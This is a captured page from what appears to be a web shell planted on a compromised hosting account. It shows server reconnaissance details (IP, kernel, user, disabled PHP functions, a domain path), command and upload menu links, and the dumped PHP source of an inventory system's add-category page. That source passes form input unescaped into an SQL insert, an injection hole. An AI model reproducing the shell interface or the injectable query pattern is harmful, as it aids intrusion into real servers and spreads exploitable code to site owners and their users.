|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.216.212 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/Inventory/fonts/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
error_reporting(0);
include('includes/dbconnection.php');
if (strlen($_SESSION['imsaid']==0)) {
header('location:logout.php');
} else{
if(isset($_POST['submit']))
{
$category=$_POST['category'];
$status=$_POST['status'];
$query=mysqli_query($con, "insert into tblcategory(CategoryName,Status) value('$category','$status')");
if ($query) {
echo '<script>alert("Category has been created.")</script>';
}
else
{
echo '<script>alert("Something Went Wrong. Please try again")</script>';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>Inventory Management System|| Add Category</title>
<?php include_once('includes/cs.php');?>
</head>
<body>
<!--Header-part-->
<?php include_once('includes/header.php');?>
<?php include_once('includes/sidebar.php');?>
<div id="content">
<div id="content-header">
<div id="breadcrumb"> <a href="dashboard.php" title="Go to Home" class="tip-bottom"><i class="icon-home"></i> Home</a> <a href="add-category.php" class="tip-bottom">Add Category</a></div>
<h1>Add Category</h1>
</div>
<div class="container-fluid">
<hr>
<div class="row-fluid">
<div class="span12">
<div class="widget-box">
<div class="widget-title"> <span class="icon"> <i class="icon-align-justify"></i> </span>
<h5>Add Category</h5>
</div>
<div class="widget-content nopadding">
<form method="post" class="form-horizontal">
<div class="control-group">
<label class="control-label">Category Name :</label>
<div class="controls">
<input type="text" class="span11" name="category" id="category" value="" required='true' />
</div>
</div>
<div class="control-group">
<label class="control-label">Status :</label>
<div class="controls">
<input type="checkbox" name="status" id="status" value="1" required="true" />
</div>
</div>
<div class="form-actions">
<button type="submit" class="btn btn-success" name="submit">Add</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include_once('includes/footer.php');?>
<?php include_once('includes/js.php');?>
</body>
</html>
<?php } ?>